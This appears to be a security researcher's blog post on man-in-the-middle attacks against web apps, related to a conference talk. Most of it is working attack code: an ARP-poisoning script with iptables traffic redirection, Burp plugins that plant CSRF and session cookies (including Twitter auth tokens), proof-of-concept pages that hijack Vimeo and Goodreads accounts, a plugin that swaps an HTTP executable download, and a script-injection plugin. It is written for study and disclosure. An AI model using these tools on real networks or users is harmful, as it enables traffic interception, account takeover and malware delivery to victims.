Cookie Tossing in the Middle

In the past I’ve talked about one way to get in the middle as an attacker and use Burp as a MiTM proxy. One very nice thing to do in this position is to write cookies. This is a small part of my Blackhat talk from March, with related posts here.

Bypassing Double Submit Cookies on Vimeo

Say, for example, you have a web app that uses double submit cookies to prevent CSRF. I talk about this too much. You can bypass this protection with XSS in a neighboring site, but here’s how to practically do it as an attacker in the middle (although there are a million ways to do this).

One example is vimeo.com. When I was checking for OAuth CSRF flaws, vimeo seemed to do pretty good. They sent a state parameter and as far as I could tell this piece was fine. But for their generic CSRF protection, I noticed they were using plain double submit cookies. So a default POST request might look like this – note how the highlighted xsrft cookie and token parameter are equal:

vimeo1

It turns out that if you change the CSRF cookie/POST parameter pair, as long as they are equal the request will go through. So for example, even though you can’t read the secret cookie/post parameters without an xss, you could set the cookie (token) equal to “a” and the post parameter (xsrft) also equal to “a”. This is classic double submit. Vimeo relies on the fact that cookies are hard to write to prevent CSRF. On the same network, we can defeat this easily even if the requests are over HTTPS and the cookies are set with “secure”. Here are the hack steps:

  1. Redirect traffic to route through my attacker box, (like with ettercap, or with python and scapy like how I show Here). The goal is to simply arp poison the network and pass through all traffic, except port 80 is redirected to localhost Burp.
  2. Write an oversimplified burp plugin that waits for a specific request on the target domain (e.g. vimeo). This is not necessarily a request initiated by the user, as we’ll be forcing the user to make this request later. If the plugin sees that request, write the xsrft cookie to a known value. Note this will even write over secure/HttpOnly cookies. Although secure can prevent a cookie from being read over HTTP, it does not prevent it being written over. Although HSTS headers can mitigate this somewhat in some browsers, unless they force HTTPS at the root domain and all subdomains, then we can probably force the app to consume our attacker cookie:

    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "vimeo.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "xsrft=bad111bad111; domain=vimeo.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "pwned!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Our attack page doesn’t totally make use of our man in the middle, but it does use it for setting the CSRF cookie. Note the iframe request to http://vimeo.com/asdfasdfasdfasdfasdfasdf – this response will be sent from the burp plugin we have in place. The rest of this attack is the same as my OAuth weakness post from a couple weaks ago. Obviously, there are a lot of improvements that could be made. If we were serious, we’d probably just wait for HTTP requests, insert Javascript into those to do our bidding for us. But this is just a demo.
    <html>
      <body>
       <script type="text/javascript">
    
       function fb_login() {
        return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
       function vimeo_addlogin() {
         return (window.open("./vimeo_submit.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
      }
    
    
       function pwn() {
         win1 = fb_login();
         //win1.close()
      }
    
       function pwn2() {
         win2 = vimeo_addlogin();
         //win1.close()
      }
    
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to vimeo</li>
       <li>First the cookies need to be set for vimeo.com. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>click "pwn2" - the easiest way to hide this is with 2 clicks</li>
       <li>An attacker now owns your vimeo account!</li>
       </ul>
    
       <!-- necessary to get cookies if we haven't visited facebook -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox></iframe>
       <!--Note this will set our vimeo cookies -->
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://vimeo.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      <a href="#" onclick="pwn2()">pwn2</a>
      </body>
    </html>
    
    

Here is the attack in action:

Logging Someone into Another site

There was some confusion on my last post with OAuth CSRF I think, about it only being a Facebook problem. I don’t believe this is true. Although Facebook should fix the CSRF on their login imo, in a variety of circumstances it’s still possible to do almost the same attack against sites using other identity providers, like Twitter, Google, etc. (even though these other ID providers don’t have CSRF in their login). One of these circumstances is if there is an XSS somewhere in an ID provider’s neighbor site (e.g. if feedburner.google.com has xss you could log someone in to your attacker Google account). Another of these circumstances is if there is a man in the middle, where you can just manufacture this xss. This is what I’m showing here.

We can modify the OAuth CSRF attack above just slightly, and a man in the middle can compromise these sites with Twitter instead of Facebook. Here are the hack steps.

  1. Redirect traffic to route through my attacker box, as illustrated Here. This simply arp poisons the network, and passes through all traffic, except port 80 is redirected to localhost Burp.
  2. Write a Burp Plugin to toss cookies similar to above. In this case, it will toss cookies into Twitter to log the victim in as the attacker
    
    from burp import IBurpExtender
    from burp import IHttpListener
    
    class BurpExtender(IBurpExtender, IHttpListener):
    
    	target_domain = "twitter.com"
    	target_path = "asdfasdfasdfasdfasdfasdf"
    	target_script = (
    """HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    
    <html><head></head><body>
    <script>
    document.cookie = "_twitter_sess=BAh7EDoJdXNlcmwrB1DcLEM6D2NyZWF0ZWRfYXRsKwh3WImrPAE6DnJldHVy%250Abl90byJlaHR0cHM6Ly9hcGkudHdpdHRlci5jb20vb2F1dGgvYXV0aGVudGlj%250AYXRlP29hdXRoX3Rva2VuPVVGQ1pYamJaUGMySzNmaFVoWHZjM0Q4ZjAyZXJN%250AUU1oZmxKc21remxrOhNzaG93X2hlbHBfbGluazA6FWluX25ld191c2VyX2Zs%250Ab3cwOgxjc3JmX2lkIiVhMzc3YWM3NjQ1ODJlOTNhODY5YjgyNDVjMjc1YTEw%250AYyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFz%250AaHsABjoKQHVzZWR7ADoTcGFzc3dvcmRfdG9rZW4wOhBzdGF5X3NlY3VyZVQ6%250AG3Nlc3Npb25fcGFzc3dvcmRfdG9rZW4wOgdpZCIlMmU2OGZhNGVjYWY1MGUy%250AMTVkYjllOGU0MTYyMjdiNGE%253D--e649d4f0aa1f2c4108d1539caa322af0ae32c8a4;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023";
    document.cookie = "auth_token=05a111348a605f4f546e60e6584adc4d4c69eacf;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twid=u%3D1127013456%7C0skYHxGKiKD8EF9Yb1fQqI%2F5YVk%3D;Domain=.twitter;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    document.cookie = "twll=l%3D1360087643;Domain=.twitter.com;Path=/;Expires=Thu, 02-Feb-2023 18:21:11 GMT";
    alert("Bad cookies are set for " + document.domain);
    </script>
    
    </body>
    </html>
    """)
    
    	def	registerExtenderCallbacks(self, callbacks):
    
    		self._helpers = callbacks.getHelpers()
    		callbacks.setExtensionName("Cookie Injector")
    
    		callbacks.registerHttpListener(self)
    
    		return
    
    	def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
    		if not messageIsRequest:
    
    			httpService = messageInfo.getHttpService()
    			# if this is our iframe, inject cookies in the response
    			if (BurpExtender.target_domain == httpService.getHost() and
    				BurpExtender.target_path in messageInfo.getRequest().tostring()):
    				print "Twitter Cookies Tossed!"
    				messageInfo.setResponse(BurpExtender.target_script)
    		return
    
  3. Once again, continue with a nearly identical attack, but this time using Twitter as the identity provider instead of Facebook. Here is an example against Goodreads. In practice, this is essentially useless since Goodreads is over HTTP, but the same principles apply to sites over HTTPS.
    <html>
      <body>
       <script type="text/javascript">
    
       function pwn() {
         location = "http://www.goodreads.com/user/twitter_sign_in";
      }
       </script>
    
       <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p>
    
       <p>To repro:</p>
    
       <ul>
       <li>login to goodreads</li>
       <li>First the cookies need to be set for twitter. This is accomplished with MiTM and the iframe below,which should alert immediately. Done?</li>
       <li>click "pwn"</li>
       <li>An attacker now owns your goodreads account!</li>
       </ul>
    
       < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://twitter.com/asdfasdfasdfasdfasdfasdf" ></iframe>
    
    
      <a href="#" onclick="pwn()">pwn</a><br />
      </body>
    </html>
    
    

Here is a video of this in action. Again, what this is doing is arp poisoning the network, logging the victim in to the attacker’s twitter account, and then exploiting the OAuth CSRF. In retrospect, I should have picked on a site that uses HTTPS for better effect :)

Some Practical ARP Poisoning with Scapy, IPTables, and Burp

ARP poisoning is a very old attack that you can use to get in the middle. A traditional focus of attacks like these is to gather information (whether that information is passwords, auth cookies, CSRF tokens, whatever) and there are sometimes ways to pull this off even against SSL sites (like SSL downgrades and funny domain names). One area I don’t think gets quite as much attention is using man in the middle as an active attack against flaws in various applications. Most of the information is available online, but the examples I’ve seen tend to be piecemeal and incomplete.

Getting an HTTP proxy in the Middle

In this example I’m going to use Backtrack, scapy, and Burp. While there are a lot of cool tools that implement ARP poisoning, like Ettercap and Cain & Abel, it’s straightforward to write your own that’s more precise and easier to see what’s going on.

Here’s a quick (Linux only) script that does several things. 1) it sets up iptables to forward all traffic except destination ports 80 and 443, and it routes 80 and 443 locally 2) at a given frequency, it sends arp packets to a victim that tells the victim to treat it as the gateway IP.

The code is hopefully straightforward. Usage might be python mitm.py –victim=192.168.1.14

from scapy.all import *
import time
import argparse
import os
import sys


def arpPoison(args):
  conf.iface= args.iface
  pkt = ARP()
  pkt.psrc = args.router
  pkt.pdst = args.victim
  try:
    while 1:
      send(pkt, verbose=args.verbose)
      time.sleep(args.freq)
  except KeyboardInterrupt:
    pass  

#default just grabs the default route, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better
#but this just works and people don't have to install external libs
def getDefRoute(args):
  data = os.popen("/sbin/route -n ").readlines()
  for line in data:
    if line.startswith("0.0.0.0") and (args.iface in line):
      print "Setting route to the default: " + line.split()[1]
      args.router = line.split()[1]
      return
  print "Error: unable to find default route" 
  sys.exit(0)

#default just grabs the default IP, http://pypi.python.org/pypi/pynetinfo/0.1.9 would be better
#but this just works and people don't have to install external libs
def getDefIP(args):
  data = os.popen("/sbin/ifconfig " + args.iface).readlines()
  for line in data:
    if line.strip().startswith("inet addr"):
      args.proxy = line.split(":")[1].split()[0]
      print "setting proxy to: " + args.proxy
      return
  print "Error: unable to find default IP" 
  sys.exit(0)

def fwconf(args):
  #write appropriate kernel config settings
  f = open("/proc/sys/net/ipv4/ip_forward", "w")
  f.write('1')
  f.close()
  f = open("/proc/sys/net/ipv4/conf/" + args.iface + "/send_redirects", "w")
  f.write('0')
  f.close()

  #iptables stuff
  os.system("/sbin/iptables --flush")
  os.system("/sbin/iptables -t nat --flush")
  os.system("/sbin/iptables --zero")
  os.system("/sbin/iptables -A FORWARD --in-interface " +  args.iface + " -j ACCEPT")
  os.system("/sbin/iptables -t nat --append POSTROUTING --out-interface " + args.iface + " -j MASQUERADE")
  #forward 80,443 to our proxy
  for port in args.ports.split(","):
    os.system("/sbin/iptables -t nat -A PREROUTING -p tcp --dport " + port + " --jump DNAT --to-destination " + args.proxy)

parser = argparse.ArgumentParser()
parser.add_argument('--victim', required=True, help="victim IP")
parser.add_argument('--router', default=None)
parser.add_argument('--iface', default='eth1')
parser.add_argument('--fwconf', type=bool, default=True, help="Try to auto configure firewall")
parser.add_argument('--freq', type=float, default=5.0, help="frequency to send packets, in seconds")
parser.add_argument('--ports', default="80,443", help="comma seperated list of ports to forward to proxy")
parser.add_argument('--proxy', default=None)
parser.add_argument('--verbose', type=bool, default=True)

args = parser.parse_args()

#set default args
if args.router == None:
  getDefRoute(args)
if args.proxy == None:
  getDefIP(args)

#do iptables rules
if args.fwconf:
  fwconf(args)

arpPoison(args)

You can see some of what’s happening by dumping the arp tables on the victim machine. In my case, 192.168.1.1 is the gateway I’m spoofing.

after the script is run against the victim, the arp tables are changed to the attacker controlled ‘proxy’ value (by default the attacker machine). In this example it’s easy to see the legitimate gateway at 00:25:9c:4d:b3:cc has been replaced with our attacker machine 00:0c:29:8c:c1:d8.

At this point all traffic routes through us, and our iptables is configured to send ports 80 and 443 to our ‘proxy’. Your proxy should be configured to listen on all interfaces and set to “invisible” mode.

You should be able to see HTTP and HTTPS traffic from the victim routing through Burp. All other traffic (e.g. DNS) should pass through unmodified. Obviously, the ports that are forwarded and whatnot can be pretty easily configured, but this post is focusing on web attacks.

The next few sections of this post are some attacks that can be useful.

Replacing an HTTP Download

It’s very common, even for some of the best security organizations in the world, to allow downloads over HTTP (even in the somewhat rare case that the rest of their site is over HTTPS). You don’t have to look very far to find applications that are able to be downloaded without encryption, and in fact Firefox was the first place I looked. Here’s a stupid example where I use a burp plugin to detect when a user tries to download firefox, and then I replace it with chrome’s setup. I’m not trying to point out any problems with Mozilla – 99% of the internet’s executables seem to be downloaded over HTTP.

The Burp plugin uses this https://github.com/mwielgoszewski/jython-burp-api, which seems pretty cool. This was my first chance using it.

from gds.burp.api import IProxyRequestHandler
from gds.burp.core import Component, implements

class ExamplePlugin(Component):

    implements(IProxyRequestHandler)

    def processRequest(self, request):
        if "Firefox%20Setup%20" in request.url.geturl() and ".exe" in request.url.geturl():
            print "Firefox download detected, redirecting"
            request.host = "131.107.39.100"
            request.raw = ("GET /downloads/Firefox%20Setup%2013.0.1.exe HTTP/1.1\r\n" +
                "HOST: 131.107.39.100\r\n\r\n")


Clientside Attacks

Clientside attacks in the middle can be super interesting, and they include a lot of scenarios that aren’t always possible otherwise. Here’s a non-comprehensive list that comes to mind:

  • XSS in any HTTP site, and sometimes interaction with HTTPS sites if cookies aren’t secure
  • Cookie forcing is possible. E.g. if a CSRF protection compares a post parameter to a cookie then you can set the cookie and perform the CSRF, even if the site is HTTPS only. We talk about this in our CCC talk.
  • Forced NTLM relaying with most domain networks.
  • If XSS is already possible, you can force a victim to make these requests without convincing them to click on a link. This could be useful in targeted internal attacks, like these, that could get shells

Using the same techniques as above, we can write dirty burp plugins that insert Javascript into HTTP responses.

    def processResponse(self, request):
        #very sloppy way to call only once, forcing exception on the first call
        try:
            self.attack += 1
        except:
            script = "<script>alert(document.domain)</script>"
            #simply inject into the first </head> we see
            if "</head>" in request.response.raw:
                print "Beginning Injection..."
                print type(request.response.raw)
                request.response.raw = request.response.raw.replace("</head>", script + "</head>", 1)
                #self.attack = 1


Conclusions

Blah. Blah. Use HTTPS and expensive switches or static ports. Blah. Does this solve the problem, really? Blah. Blah.

I do have a reason for working on this. Can you pwn the corporate network just using ARP poisoning? NTLM relay attacks are freaking deadly, and I’ll be talking about them over the next few weeks, once at work and then at Blackhat as a tool arsenal demo. Man in the middle attacks like these offer a great/nasty way to target that operations guy and get code execution. More on this later.